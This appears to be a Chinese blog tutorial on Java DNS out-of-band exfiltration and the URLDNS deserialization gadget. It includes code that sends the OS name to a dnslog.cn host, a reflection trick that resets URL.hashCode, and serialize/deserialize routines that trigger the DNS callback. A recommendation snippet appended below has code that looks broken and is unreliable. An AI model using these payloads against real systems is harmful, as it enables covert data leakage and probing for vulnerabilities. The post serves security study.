Java DNS带外解析与反序列化综合利用

一、InetAddress.getByName方法

在java中InetAddress.getByName方法会解析域名,也就是会触发DNS解析,那么我们就可以利用它做dns带外。

String osName = System.getProperty("os.name");
String replace = osName.replace(" ", "-");
System.out.println(replace);
try {
    InetAddress address = InetAddress.getByName(replace + ".2rn8xe.dnslog.cn"); // 这里可以将内容带到dns解析服务器
    System.out.println(address.getHostAddress());
} catch (Exception e) {
    e.printStackTrace();
}

二、利用URL和HashMap dns带外操作系统名

HashMap触发dns解析

当把java.net.URL对象当做HashMap的put方法的key时,会触发dns解析,可以外带信息。

HashMap<URL, String> map = new HashMap<>();
// 当把 URL当做 key时就会解析DNS,最终还是调用的InetAddress.getByName
URL url = new URL("http://whatlksadjfkjalkwejiasdojfiojasoidgjoa.g88epc.dnslog.cn"); // 解析DNS发生在此处,URLStreamHandler类的hashCode方法
map.put(url, "username");

调用链详解

  1. ↓给HashMap的put方法下断点,准备调试查看调用链
    image.png
  2. ↓运行程序强制步入
    image.png
    ↓进入第一层调用,可以发现调用了hash方法,继续跟进
    image.png
    ↓进入第二层调用,可以发现调用了key的hashCode方法,我们继续步入
    image.png
    ↓进入第三层调用(在URL类中),可以发现继续调用了handler的hashCode方法↓
    image.png
    ↓进入第四层调用(URLStreamHandler类),这里发现通过getHostAddress方法得到了InetAddress对象,可以推测发生了dns解析,接下来我们继续步入
    image.png
    ↓进入第五层调用,还是在URLStreamHandler类中,调用了URL的getHostAddress,继续步入
    image.png
    ↓进入最后一层调用,回到了URL类中,可以发现这个方法调用了InetAddress.getByName,通过本篇第一部分的内容可以知道,该处会发生dns解析,并且带外信息。
    image.png

至此,HashMap的put方法触发dns带外的调用链已经清楚

三、HashMap反序列化导致dns解析带外

待解决的问题

  1. 不知道大家注意到没有,在第二部分的调用链分析中的第三层调用时对hashCode进行了判断,只有hashCode不为 -1 时才会继续向下执行,但是当HashMap调用put时会将URL的hashCode从-1改成别的值。也就是说在反序列化时就算过程中调用了put方法也不会解析dns,接下来让我们看看怎么解决这个问题。
  2. 另外,我们需要确定在反序列化HashMap时,确实会调用put方法,或者调用更底层的函数。
  3. 还有一点须知的是,当反序列发生时,会自动调用要被序列化成的那个类的readObject方法(如果这个方法被重载了的话),所以待会儿我们要找HashMap的readObject方法,这是能够利用反序列干一些事情的前提。

反射修改hashCode

我们知道java的反射机制可以修改类实例的私有属性,那么我们接下来就将hashCode手动修改回去再序列化:

private static void serialize() throws Exception {
    HashMap<URL, String> map = new HashMap<>();
    URL url = new URL("http://111222333444.pu8tzy.dnslog.cn");
    map.put(url, "username"); // 这里执行put后 hashCode 会被修改,也就不会再解析dns

    // 所以下面使用反射把hashCode改成 -1
    Class<?> clazz = Class.forName("java.net.URL");
    Field hashCode = clazz.getDeclaredField("hashCode");
    hashCode.setAccessible(true);
    hashCode.set(url, -1);

    // 序列化
    OutputStream bos = Files.newOutputStream(Paths.get("./urldns.ser"));
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(map);
}

这样,我们就在序列化之前,将hashCode的值改回了-1,后面反序列化的时候这里就不会成为问题。

HashMap的readObject方法

这里我直接把HashMap的该方法的源代码贴到这里:

private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {

    ObjectInputStream.GetField fields = s.readFields();

    // Read loadFactor (ignore threshold)
    float lf = fields.get("loadFactor", 0.75f);
    if (lf <= 0 || Float.isNaN(lf))
        throw new InvalidObjectException("Illegal load factor: " + lf);

    lf = Math.min(Math.max(0.25f, lf), 4.0f);
    HashMap.UnsafeHolder.putLoadFactor(this, lf);

    reinitialize();

    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0) {
        throw new InvalidObjectException("Illegal mappings count: " + mappings);
    } else if (mappings == 0) {
        // use defaults
    } else if (mappings > 0) {
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

我们可以发现最后一句的 putVal(hash(key), key, value, false, false); 与本篇第二部分的调用链详解中的第一层调用使用的方法是一模一样的,至此我们可以知道在反序列化时肯定是调用了put方法,这样我们就可以知道反序列化时也会发生dns解析并且带外信息。

反序列化利用

我们直接反序列化第二部分的序列化文件,这是代码:

private static void unserialize() throws Exception {  
    // 反序列化  
    ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("./urldns.ser")));  
    HashMap<URL, String> map1 = (HashMap<URL, String>) ois.readObject();  
    System.out.println(map1);  
}

然后你就会惊奇的发现dns带外发生了:
image.png

  • 27
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java中可以通过实现java.net.InetAddress类的静态方法来自定义DNS解析。以下是一个示例代码: ``` import java.net.InetAddress; import java.net.UnknownHostException; import java.util.Hashtable; public class CustomDNSResolver { public static void main(String[] args) throws UnknownHostException { // 设置自定义DNS解析 setCustomResolver(); // 解析域名 InetAddress address = InetAddress.getByName("www.baidu.com"); System.out.println(address.getHostAddress()); } private static void setCustomResolver() { // 创建自定义DNS解析器 Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); env.put("java.naming.provider.url", "dns://8.8.8.8"); // 设置系统属性 System.setProperty("sun.net.spi.nameservice.provider.1", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.2", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.3", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.4", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.5", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.6", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.7", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.8", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.9", "dns,sun"); System.setProperty("sun.net.spi.nameservice.provider.10", "dns,sun"); // 设置系统环境变量 System.setProperties(env); } } ``` 在上面的代码中,我们通过设置系统属性和环境变量来使用自定义DNS解析器。在这个示例中,我们使用了Google的DNS服务器地址(8.8.8.8),你可以根据需要设置其他的DNS服务器地址。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值